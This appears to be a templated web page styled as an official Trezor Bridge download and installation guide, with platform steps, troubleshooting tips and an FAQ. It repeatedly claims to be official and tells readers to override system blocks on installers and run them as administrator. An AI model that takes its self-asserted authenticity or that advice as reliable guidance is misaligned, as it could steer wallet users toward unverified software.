Trezor Bridge — Official Download & Installation Guide

A concise, official HTML guide to download, install and troubleshoot Trezor Bridge for connecting your Trezor hardware wallet to web apps and Trezor Suite.

What is Trezor Bridge?

Trezor Bridge is the official helper application that enables your desktop browser to communicate with your Trezor hardware wallet. It creates a secure local channel between web apps (like Trezor Suite) and the device so you can manage crypto safely.

This page includes step-by-step instructions, official links, and an FAQ. Always download Bridge from an official Trezor domain to avoid tampered installers.

Official Download

Download the latest Trezor Bridge installers from Trezor's official download pages below. Pick the file that matches your operating system.

  1. Open the official Bridge page and select your platform.
  2. Save the installer and run it with administrative privileges.
Start — Trezor Official Trezor Bridge — Official Support Trezor Wallet Trezor Suite Trezor Blog Firmware & Updates Security About Trezor Help Center

Installation — Step by step

Windows (recommended)

  1. Double-click the downloaded .exe file.
  2. Allow the installer to make changes when the UAC prompt appears.
  3. Follow on-screen instructions; a system tray icon confirms Bridge is running.

macOS

  1. Open the .dmg, drag the Bridge app to /Applications.
  2. On first run, you may need to allow it in Security & Privacy.
Linux

Use the package or AppImage provided on the official page. For Debian/Ubuntu, install the .deb package with sudo dpkg -i trezor-bridge_*.deb and resolve dependencies if needed.

Troubleshooting & Tips

  • If your browser can't detect the device, ensure Bridge is running (check system tray/menu bar).
  • Restart Bridge and your browser if connection fails.
  • Temporarily disable other USB-communication apps that might block access.
  • Always use the cable that came with your Trezor or a high-quality data cable.
  • Check the official Support page for platform-specific notes.

Advanced: for command-line logs on macOS/Linux, run Bridge in the terminal to capture debug output and consult official support.

FAQ — Frequently Asked Questions

Q: Is Trezor Bridge safe?
A: Yes. Trezor Bridge is an official Trezor application signed by the company. Only download installers from official Trezor domains to ensure authenticity. See Trezor Security.
Q: Do I need Bridge to use Trezor Suite?
A: For web-based interactions and some browser setups, Bridge lets the browser communicate with your device. Trezor Suite desktop app bundles necessary communication for many platforms; check the Suite page for details.
Q: My system blocks the installer. What now?
A: Allow the installer in system security settings or run as administrator. If issues persist, consult Help Center.
Q: Can I use Bridge with multiple browser profiles?
A: Yes — Bridge runs system-wide. Make sure each profile allows webUSB/webHID permissions and that no extension is blocking USB access.
Q: Where are official Bridge downloads hosted?
A: Official downloads are hosted on trezor.io. Example: trezor.io/bridge and the Start page.

Quick Checklist

  • Download only from official Trezor domains.
  • Use the recommended cable and a direct USB port.
  • Keep browser and Bridge up to date.
  • Contact Trezor Support for unresolved issues.